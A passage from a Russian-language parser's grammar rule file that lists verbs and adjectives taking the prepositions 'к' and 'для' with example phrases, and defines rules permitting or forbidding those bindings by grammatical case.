rus_verbs:подбрасывать{}, // подбрасывать к потолку rus_verbs:перевозить{}, // перевозить к новому месту дислокации rus_verbs:усаживаться{}, // усаживаться к окну rus_verbs:приближать{}, // приближать к глазам rus_verbs:попроситься{}, // попроситься к бабушке rus_verbs:прибить{}, // прибить к доске rus_verbs:перетащить{}, // перетащить к себе rus_verbs:прицепить{}, // прицепить к паровозу rus_verbs:прикладывать{}, // прикладывать к ране rus_verbs:устареть{}, // устареть к началу войны rus_verbs:причалить{}, // причалить к пристани rus_verbs:приспособиться{}, // приспособиться к опозданиям rus_verbs:принуждать{}, // принуждать к миру rus_verbs:соваться{}, // соваться к директору rus_verbs:протолкаться{}, // протолкаться к прилавку rus_verbs:приковать{}, // приковать к батарее rus_verbs:подкрадываться{}, // подкрадываться к суслику rus_verbs:подсадить{}, // подсадить к арестонту rus_verbs:прикатить{}, // прикатить к финишу rus_verbs:протащить{}, // протащить к владыке rus_verbs:сужаться{}, // сужаться к основанию rus_verbs:присовокупить{}, // присовокупить к пожеланиям rus_verbs:пригвоздить{}, // пригвоздить к доске rus_verbs:отсылать{}, // отсылать к первоисточнику rus_verbs:изготовиться{}, // изготовиться к прыжку rus_verbs:прилагаться{}, // прилагаться к покупке rus_verbs:прицепиться{}, // прицепиться к вагону rus_verbs:примешиваться{}, // примешиваться к вину rus_verbs:переселить{}, // переселить к старшекурсникам rus_verbs:затрусить{}, // затрусить к выходе rus_verbs:приспособить{}, // приспособить к обогреву rus_verbs:примериться{}, // примериться к аппарату rus_verbs:прибавляться{}, // прибавляться к пенсии rus_verbs:подкатиться{}, // подкатиться к воротам rus_verbs:стягивать{}, // стягивать к границе rus_verbs:дописать{}, // дописать к роману rus_verbs:подпустить{}, // подпустить к корове rus_verbs:склонять{}, // склонять к сотрудничеству rus_verbs:припечатать{}, // припечатать к стене rus_verbs:охладеть{}, // охладеть к музыке rus_verbs:пришить{}, // пришить к шинели rus_verbs:принюхиваться{}, // принюхиваться к ветру rus_verbs:подрулить{}, // подрулить к барышне rus_verbs:наведаться{}, // наведаться к оракулу rus_verbs:клеиться{}, // клеиться к конверту rus_verbs:перетянуть{}, // перетянуть к себе rus_verbs:переметнуться{}, // переметнуться к конкурентам rus_verbs:липнуть{}, // липнуть к сокурсницам rus_verbs:поковырять{}, // поковырять к выходу rus_verbs:подпускать{}, // подпускать к пульту управления rus_verbs:присосаться{}, // присосаться к источнику rus_verbs:приклеить{}, // приклеить к стеклу rus_verbs:подтягивать{}, // подтягивать к себе rus_verbs:подкатывать{}, // подкатывать к даме rus_verbs:притрагиваться{}, // притрагиваться к опухоли rus_verbs:слетаться{}, // слетаться к водопою rus_verbs:хаживать{}, // хаживать к батюшке rus_verbs:привлекаться{}, // привлекаться к административной ответственности rus_verbs:подзывать{}, // подзывать к себе rus_verbs:прикладываться{}, // прикладываться к иконе rus_verbs:подтягиваться{}, // подтягиваться к парламенту rus_verbs:прилепить{}, // прилепить к стенке холодильника rus_verbs:пододвинуться{}, // пододвинуться к экрану rus_verbs:приползти{}, // приползти к дереву rus_verbs:запаздывать{}, // запаздывать к обеду rus_verbs:припереть{}, // припереть к стене rus_verbs:нагибаться{}, // нагибаться к цветку инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам деепричастие:сгоняв{}, rus_verbs:поковылять{}, // поковылять к выходу rus_verbs:привалить{}, // привалить к столбу rus_verbs:отпроситься{}, // отпроситься к родителям rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям rus_verbs:прилипать{}, // прилипать к рукам rus_verbs:подсоединить{}, // подсоединить к приборам rus_verbs:приливать{}, // приливать к голове rus_verbs:подселить{}, // подселить к другим новичкам rus_verbs:прилепиться{}, // прилепиться к шкуре rus_verbs:подлетать{}, // подлетать к пункту назначения rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг rus_verbs:льнуть{}, // льнуть к заботливому хозяину rus_verbs:привязываться{}, // привязываться к любящему хозяину rus_verbs:приклеиться{}, // приклеиться к спине rus_verbs:стягиваться{}, // стягиваться к сенату rus_verbs:подготавливать{}, // подготавливать к выходу на арену rus_verbs:приглашаться{}, // приглашаться к доктору rus_verbs:причислять{}, // причислять к отличникам rus_verbs:приколоть{}, // приколоть к лацкану rus_verbs:наклонять{}, // наклонять к горизонту rus_verbs:припадать{}, // припадать к первоисточнику rus_verbs:приобщиться{}, // приобщиться к культурному наследию rus_verbs:придираться{}, // придираться к мелким ошибкам rus_verbs:приучать{}, // приучать к лотку rus_verbs:промотать{}, // промотать к началу rus_verbs:прихлынуть{}, // прихлынуть к голове rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу rus_verbs:прикрутить{}, // прикрутить к велосипеду rus_verbs:подплывать{}, // подплывать к лодке rus_verbs:приравниваться{}, // приравниваться к побегу rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы rus_verbs:приткнуться{}, // приткнуться к первой группе туристов rus_verbs:приручить{}, // приручить котика к лотку rus_verbs:приковывать{}, // приковывать к себе все внимание прессы rus_verbs:приготовляться{}, // приготовляться к первому экзамену rus_verbs:остыть{}, // Вода остынет к утру. rus_verbs:приехать{}, // Он приедет к концу будущей недели. rus_verbs:подсаживаться{}, rus_verbs:успевать{}, // успевать к стилисту rus_verbs:привлекать{}, // привлекать к себе внимание прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму rus_verbs:прийтись{}, // прийтись ко двору инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы инфинитив:адаптироваться{вид:несоверш}, глагол:адаптироваться{вид:соверш}, глагол:адаптироваться{вид:несоверш}, деепричастие:адаптировавшись{}, деепричастие:адаптируясь{}, прилагательное:адаптировавшийся{вид:соверш}, //+прилагательное:адаптировавшийся{вид:несоверш}, прилагательное:адаптирующийся{}, rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей rus_verbs:близиться{}, // Шторм близится к побережью rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки rus_verbs:причислить{}, // Мы причислили его к числу экспертов rus_verbs:вести{}, // Наша партия ведет народ к процветанию rus_verbs:взывать{}, // Учителя взывают к совести хулигана rus_verbs:воззвать{}, // воззвать соплеменников к оружию rus_verbs:возревновать{}, // возревновать к поклонникам rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью rus_verbs:восходить{}, // восходить к вершине rus_verbs:восшествовать{}, // восшествовать к вершине rus_verbs:успеть{}, // успеть к обеду rus_verbs:повернуться{}, // повернуться к кому-то rus_verbs:обратиться{}, // обратиться к охраннику rus_verbs:звать{}, // звать к столу rus_verbs:отправиться{}, // отправиться к парикмахеру rus_verbs:обернуться{}, // обернуться к зовущему rus_verbs:явиться{}, // явиться к следователю rus_verbs:уехать{}, // уехать к родне rus_verbs:прибыть{}, // прибыть к перекличке rus_verbs:привыкнуть{}, // привыкнуть к голоду rus_verbs:уходить{}, // уходить к цыганам rus_verbs:привести{}, // привести к себе rus_verbs:шагнуть{}, // шагнуть к славе rus_verbs:относиться{}, // относиться к прежним периодам rus_verbs:подослать{}, // подослать к врагам rus_verbs:поспешить{}, // поспешить к обеду rus_verbs:зайти{}, // зайти к подруге rus_verbs:позвать{}, // позвать к себе rus_verbs:потянуться{}, // потянуться к рычагам rus_verbs:пускать{}, // пускать к себе rus_verbs:отвести{}, // отвести к врачу rus_verbs:приблизиться{}, // приблизиться к решению задачи rus_verbs:прижать{}, // прижать к стене rus_verbs:отправить{}, // отправить к доктору rus_verbs:падать{}, // падать к многолетним минимумам rus_verbs:полезть{}, // полезть к дерущимся rus_verbs:лезть{}, // Ты сама ко мне лезла! rus_verbs:направить{}, // направить к майору rus_verbs:приводить{}, // приводить к дантисту rus_verbs:кинуться{}, // кинуться к двери rus_verbs:поднести{}, // поднести к глазам rus_verbs:подниматься{}, // подниматься к себе rus_verbs:прибавить{}, // прибавить к результату rus_verbs:зашагать{}, // зашагать к выходу rus_verbs:склониться{}, // склониться к земле rus_verbs:стремиться{}, // стремиться к вершине rus_verbs:лететь{}, // лететь к родственникам rus_verbs:ездить{}, // ездить к любовнице rus_verbs:приближаться{}, // приближаться к финише rus_verbs:помчаться{}, // помчаться к стоматологу rus_verbs:прислушаться{}, // прислушаться к происходящему rus_verbs:изменить{}, // изменить к лучшему собственную жизнь rus_verbs:проявить{}, // проявить к погибшим сострадание rus_verbs:подбежать{}, // подбежать к упавшему rus_verbs:терять{}, // терять к партнерам доверие rus_verbs:пропустить{}, // пропустить к певцу rus_verbs:подвести{}, // подвести к глазам rus_verbs:меняться{}, // меняться к лучшему rus_verbs:заходить{}, // заходить к другу rus_verbs:рвануться{}, // рвануться к воде rus_verbs:привлечь{}, // привлечь к себе внимание rus_verbs:присоединиться{}, // присоединиться к сети rus_verbs:приезжать{}, // приезжать к дедушке rus_verbs:дернуться{}, // дернуться к борту rus_verbs:подъехать{}, // подъехать к воротам rus_verbs:готовиться{}, // готовиться к дождю rus_verbs:убежать{}, // убежать к маме rus_verbs:поднимать{}, // поднимать к источнику сигнала rus_verbs:отослать{}, // отослать к руководителю rus_verbs:приготовиться{}, // приготовиться к худшему rus_verbs:приступить{}, // приступить к выполнению обязанностей rus_verbs:метнуться{}, // метнуться к фонтану rus_verbs:прислушиваться{}, // прислушиваться к голосу разума rus_verbs:побрести{}, // побрести к выходу rus_verbs:мчаться{}, // мчаться к успеху rus_verbs:нестись{}, // нестись к обрыву rus_verbs:попадать{}, // попадать к хорошему костоправу rus_verbs:опоздать{}, // опоздать к психотерапевту rus_verbs:посылать{}, // посылать к доктору rus_verbs:поплыть{}, // поплыть к берегу rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе rus_verbs:отнести{}, // отнести животное к ветеринару rus_verbs:прислониться{}, // прислониться к стволу rus_verbs:наклонить{}, // наклонить к миске с молоком rus_verbs:прикоснуться{}, // прикоснуться к поверхности rus_verbs:увезти{}, // увезти к бабушке rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия rus_verbs:подозвать{}, // подозвать к себе rus_verbs:улететь{}, // улететь к теплым берегам rus_verbs:ложиться{}, // ложиться к мужу rus_verbs:убираться{}, // убираться к чертовой бабушке rus_verbs:класть{}, // класть к другим документам rus_verbs:доставлять{}, // доставлять к подъезду rus_verbs:поворачиваться{}, // поворачиваться к источнику шума rus_verbs:заглядывать{}, // заглядывать к любовнице rus_verbs:занести{}, // занести к заказчикам rus_verbs:прибежать{}, // прибежать к папе rus_verbs:притянуть{}, // притянуть к причалу rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:подать{}, // он подал лимузин к подъезду rus_verbs:подавать{}, // она подавала соус к мясу rus_verbs:приобщаться{}, // приобщаться к культуре прилагательное:неспособный{}, // Наша дочка неспособна к учению. прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару прилагательное:предназначенный{}, // Старый дом предназначен к сносу. прилагательное:внимательный{}, // Она всегда внимательна к гостям. прилагательное:назначенный{}, // Дело назначено к докладу. прилагательное:разрешенный{}, // Эта книга разрешена к печати. прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам. прилагательное:готовый{}, // Я готов к экзаменам. прилагательное:требовательный{}, // Он очень требователен к себе. прилагательное:жадный{}, // Он жаден к деньгам. прилагательное:глухой{}, // Он глух к моей просьбе. прилагательное:добрый{}, // Он добр к детям. rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам. rus_verbs:плыть{}, // Пароход плыл к берегу. rus_verbs:пойти{}, // я пошел к доктору rus_verbs:придти{}, // придти к выводу rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом. rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений. rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам. rus_verbs:спускаться{}, // Улица круто спускается к реке. rus_verbs:спуститься{}, // Мы спустились к реке. rus_verbs:пустить{}, // пускать ко дну rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью! rus_verbs:отойти{}, // Дом отошёл к племяннику. rus_verbs:отходить{}, // Коля отходил ко сну. rus_verbs:приходить{}, // местные жители к нему приходили лечиться rus_verbs:кидаться{}, // не кидайся к столу rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу. rus_verbs:закончиться{}, // Собрание закончилось к вечеру. rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему. rus_verbs:направиться{}, // Мы сошли на берег и направились к городу. rus_verbs:направляться{}, rus_verbs:свестись{}, // Всё свелось к нулю. rus_verbs:прислать{}, // Пришлите кого-нибудь к ней. rus_verbs:присылать{}, // Он присылал к должнику своих головорезов rus_verbs:подлететь{}, // Самолёт подлетел к лесу. rus_verbs:возвращаться{}, // он возвращается к старой работе глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая. rus_verbs:возвращать{}, // возвращать к жизни rus_verbs:располагать{}, // Атмосфера располагает к работе. rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому. rus_verbs:поступить{}, // К нам поступила жалоба. rus_verbs:поступать{}, // К нам поступают жалобы. rus_verbs:прыгнуть{}, // Белка прыгнула к дереву rus_verbs:торопиться{}, // пассажиры торопятся к выходу rus_verbs:поторопиться{}, // поторопитесь к выходу rus_verbs:вернуть{}, // вернуть к активной жизни rus_verbs:припирать{}, // припирать к стенке rus_verbs:проваливать{}, // Проваливай ко всем чертям! rus_verbs:вбежать{}, // Коля вбежал ко мне rus_verbs:вбегать{}, // Коля вбегал ко мне глагол:забегать{ вид:несоверш }, // Коля забегал ко мне rus_verbs:постучаться{}, // Коля постучался ко мне. rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому rus_verbs:понести{}, // Мы понесли кота к ветеринару rus_verbs:принести{}, // Я принес кота к ветеринару rus_verbs:устремиться{}, // Мы устремились к ручью. rus_verbs:подводить{}, // Учитель подводил детей к аквариуму rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения. rus_verbs:пригласить{}, // Я пригласил к себе товарищей. rus_verbs:собираться{}, // Я собираюсь к тебе в гости. rus_verbs:собраться{}, // Маша собралась к дантисту rus_verbs:сходить{}, // Я схожу к врачу. rus_verbs:идти{}, // Маша уверенно шла к Пете rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию. rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию. rus_verbs:заканчивать{}, // Заканчивайте к обеду rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:окончить{}, // rus_verbs:дозвониться{}, // Я не мог к вам дозвониться. глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор rus_verbs:уйти{}, // Антонио ушел к Элеонор rus_verbs:бежать{}, // Антонио бежит к Элеонор rus_verbs:спешить{}, // Антонио спешит к Элеонор rus_verbs:скакать{}, // Антонио скачет к Элеонор rus_verbs:красться{}, // Антонио крадётся к Элеонор rus_verbs:поскакать{}, // беглецы поскакали к холмам rus_verbs:перейти{} // Антонио перешел к Элеонор } fact гл_предл { if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } } then return true } fact гл_предл { if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:к{} *:*{} } then return false,-5 } #endregion Предлог_К #region Предлог_ДЛЯ // ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ---------------------- wordentry_set Гл_ДЛЯ_Род={ частица:нет{}, // для меня нет других путей. частица:нету{}, rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ) rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ) rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться) rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ) rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ) rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ) rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ) rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ) rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ) rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ) rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ) rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ) rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ) rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ) rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ) rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ) rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ) rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ) rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ) rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ) rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ) rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ) rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ) rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ) rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ) rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ) rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ) rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ) прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ) rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ) rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ) rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ) rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ) rus_verbs:оставить{}, // или вообще решили оставить планету для себя rus_verbs:оставлять{}, rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ) rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ) rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ) rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ) rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ) rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ) rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ) rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ) rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для) rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ) rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ) rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ) rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ) rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ) прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ) прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ) прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ) rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ) rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ) rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ) rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ) rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ) rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ) rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ) rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ) rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ) rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ) rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ) rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ) прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ) rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ) rus_verbs:вывести{}, // мы специально вывели этих животных для мяса. rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для) rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ) rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ) rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ) rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ) rus_verbs:найтись{}, // у вас найдется для него работа? rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для) rus_verbs:заехать{}, // Коля заехал для обсуждения проекта rus_verbs:созреть{}, // созреть для побега rus_verbs:наметить{}, // наметить для проверки rus_verbs:уяснить{}, // уяснить для себя rus_verbs:нанимать{}, // нанимать для разовой работы rus_verbs:приспособить{}, // приспособить для удовольствия rus_verbs:облюбовать{}, // облюбовать для посиделок rus_verbs:прояснить{}, // прояснить для себя rus_verbs:задействовать{}, // задействовать для патрулирования rus_verbs:приготовлять{}, // приготовлять для проверки инфинитив:использовать{ вид:соверш }, // использовать для достижения цели инфинитив:использовать{ вид:несоверш }, глагол:использовать{ вид:соверш }, глагол:использовать{ вид:несоверш }, прилагательное:использованный{}, деепричастие:используя{}, деепричастие:использовав{}, rus_verbs:напрячься{}, // напрячься для решительного рывка rus_verbs:одобрить{}, // одобрить для использования rus_verbs:одобрять{}, // одобрять для использования rus_verbs:пригодиться{}, // пригодиться для тестирования rus_verbs:готовить{}, // готовить для выхода в свет rus_verbs:отобрать{}, // отобрать для участия в конкурсе rus_verbs:потребоваться{}, // потребоваться для подтверждения rus_verbs:пояснить{}, // пояснить для слушателей rus_verbs:пояснять{}, // пояснить для экзаменаторов rus_verbs:понадобиться{}, // понадобиться для обоснования инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, rus_verbs:найти{}, // Папа нашел для детей няню прилагательное:вредный{}, // Это вредно для здоровья. прилагательное:полезный{}, // Прогулки полезны для здоровья. прилагательное:обязательный{}, // Этот пункт обязателен для исполнения прилагательное:бесполезный{}, // Это лекарство бесполезно для него прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления rus_verbs:создать{}, // Он не создан для этого дела. прилагательное:сложный{}, // задача сложна для младших школьников прилагательное:несложный{}, прилагательное:лёгкий{}, прилагательное:сложноватый{}, rus_verbs:становиться{}, rus_verbs:представлять{}, // Это не представляет для меня интереса. rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка rus_verbs:пройти{}, // День прошёл спокойно для него. rus_verbs:проходить{}, rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ rus_verbs:высаживаться{}, rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца. rus_verbs:прибавить{}, rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов. rus_verbs:составлять{}, rus_verbs:стараться{}, // Я старался для вас rus_verbs:постараться{}, // Я постарался для вас rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста. rus_verbs:собраться{}, // собраться для обсуждения rus_verbs:собираться{}, // собираться для обсуждения rus_verbs:уполномочивать{}, rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров rus_verbs:принести{}, // Я принёс эту книгу для вас. rus_verbs:делать{}, // Я это делаю для удовольствия. rus_verbs:сделать{}, // Я сделаю это для удовольствия. rus_verbs:подготовить{}, // я подготовил для друзей сюрприз rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села rus_verbs:прибыть{} // они прибыли для участия } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } } then return true } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:для{} *:*{} } then return false,-4 } #endregion Предлог_ДЛЯ #region Предлог_ОТ // попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_ОТ_Род_Запр= { rus_verbs:наслаждаться{}, // свободой от обязательств rus_verbs:насладиться{}, rus_verbs:мочь{}, // Он не мог удержаться от смеха. // rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:чувствовать{}, // все время от времени чувствуют его. rus_verbs:планировать{}, rus_verbs:приняться{} // мы принялись обниматься от радости. } fact гл_предл { if context { Глаг_ОТ_Род_Запр предлог:от{} * } then return false } #endregion Предлог_ОТ #region Предлог_БЕЗ /* // запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_БЕЗ_Род_Запр= { rus_verbs:мочь{}, // Он мог читать часами без отдыха. rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:планировать{}, rus_verbs:приняться{} } fact гл_предл { if context { Глаг_БЕЗ_Род_Запр предлог:без{} * } then return false 